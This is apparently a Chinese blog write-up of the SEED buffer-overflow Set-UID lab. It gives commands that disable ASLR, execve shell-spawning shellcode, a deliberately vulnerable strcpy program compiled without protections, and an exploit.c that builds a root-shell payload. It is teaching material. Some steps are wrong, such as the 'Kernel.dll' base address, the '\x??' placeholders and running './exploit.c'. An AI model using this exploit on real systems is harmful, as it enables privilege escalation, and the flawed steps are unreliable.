Buffer Overflow Attack Lab (Set-UID Version)

Buffer Overflow Attack Lab (Set-UID Version)

Lab链接:https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/

实验环境:Ubuntu20.04
实验目的:利用Buffer Overflow Attack对拥有Set-UID权限的文件进行攻击,获取root权限
实验文件:Labsetup.zip
实验指导书:

Environment Setup 环境设置

由于当代操作系统已经针对缓冲区溢出攻击做出了一定的对策(使其可能性降低),因此在本次实验中需要先关闭这些对策。

Address Space Randomization 地址随机化

一些内容参考:ASLR
关闭ASLR指令:

sudo sysctl -w kernel.randomize_va_space=0

当数值为0时,完全关闭ASLR。
当数值为1时,部分关闭ASLR。只将 mmap 的基址,stack 和 vdso 页面随机化。
当数值为2时,完全开启ASLR。在部分开启的基础上增加 heap的随机化。

Configuring /bin/sh 配置 /bin/sh

指导书的说法是,在近期版本的Dash和Bash中,已经实现了一些安全机制来避免他在Set-UID进程中被执行。因此我们要把sh从Dash切换至Zsh。

先安装Zsh:

sudo apt install zsh

然后把sh连接到Zsh:

 sudo ln -sf /bin/zsh /bin/sh

StackGuard and Non-Executable Stack GCC所提供的两种安全防护

StackGuard:

GCC 中的编译器堆栈保护技术
StackGuard和StackShield

将在后续实验步骤中的编译时关闭。

Task 1:熟悉shellcode

三种版本。以下述代码为例。

C版本shellcode

#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

32位shellcode

; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()’s 1st argument
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()’s 2nd argument
; For environment variable
xor edx, edx ; edx = 0: execve()’s 3rd argument
; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()’s system call number
int 0x80

在64位Ubuntu20.04环境下使用gcc -m32编译时会遇到报错。原因是gcc 编译32bit程序需要的依赖包不全。
方案:ubuntu64 使用gcc -m32编译成32bit程序
解决方法:
安装依赖包

sudo apt-get install gcc-multilib

64位shellcode

xor rdx, rdx ; rdx = 0: execve()’s 3rd argument
push rdx
mov rax, ’/bin//sh’ ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()’s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()’s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()’s system call number
syscall

Task 2:Understanding the Vulnerable Program 理解易受攻击程序

the Vulnerable Program如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

可以发现,在原始输入中,长度最大值为517。但是在bof()中,buffer只有BUF_SIZE大小,默认值100远低于517。
strcpy()函数并不会检查边界,因此会产生缓冲区溢出攻击。

产生攻击的过程:
这个程序被root所拥有,并拥有Set-UID权限。
这个程序需要一个badfile文件的输入,而这个文件可以被一般用户所控制。

编译这个程序

绕开安全策略进行编译

关闭StackGuard和 non-executable stack,通过在gcc时指定-fno-stack-protector和-z execstack选项。

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
将其所有者设为root
sudo chown root stack
将其权限设置为Set-UID
sudo chmod 4755 stack

需要注意的是,设置所有者必须先于设置权限。因为当修改所有者时,Set-UID会被关闭。

通过Makefile来自动化编译

在code目录下有个Makefile文件,可以在命令行中输入make来实现自动化编译。

make

关于make和Makefile的关系:Linux下的make和Makefile

在本次实验code下Makefile中会有四个参数,并会分别根据这四个参数生成四种 Vulnerable Program。可以在Makefile中修改值来实现自定义。

Task 3:Launching Attack on 32-bit Program 对32位程序发起攻击

事前调查

进行缓冲区溢出攻击很重要的一点是,buffer的起始地址和存储返回地址之间的距离。通过这个距离,我们可以明白如何构造badfile进行攻击。

在这里插入图片描述

  1. b bof : 在bof()函数设置断点
  2. run: 在gdb模式下run
  3. next : 执行下一句(进行strcpy(buffer,str))
  4. p $ebp: 获取Kernel.dll基址
  5. p &buffer: 获取buffer地址

关于第四步的EBP寄存器可以参考:详细解析ESP寄存器与EBP寄存器

注意:
在gdb模式下,frame pointer的值和正常模式下的不一样。因为gdb模式下,会在运行之前会把一些环境数据写入到stack中。在正常模式下没有这些数据,因此frame pointer会更大一些(可能会疑惑为什么是更大而不是更小:在intel系统中栈是向下生长的(栈越扩大其值越小,堆恰好相反)。可以参考上面EBP的连接)。

发起攻击

使用一个exploit.c 来完成对badfile的构造。

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* Fill the buffer with appropriate contents here. The length of \x90\x90 depends on the stack.c bof() buffer length. The last four property is the location of shellcode */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

其中需要知道shellcode的具体位置。可以通过

gdb stack
disass main

然后找到esp位置,得知shellcode的地址位置。
进而把最后的"/x??/x??/x??/x??"中的?? 换成对应的shellcode地址。

./exploit.c
./stack

提权成功

  • 3
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值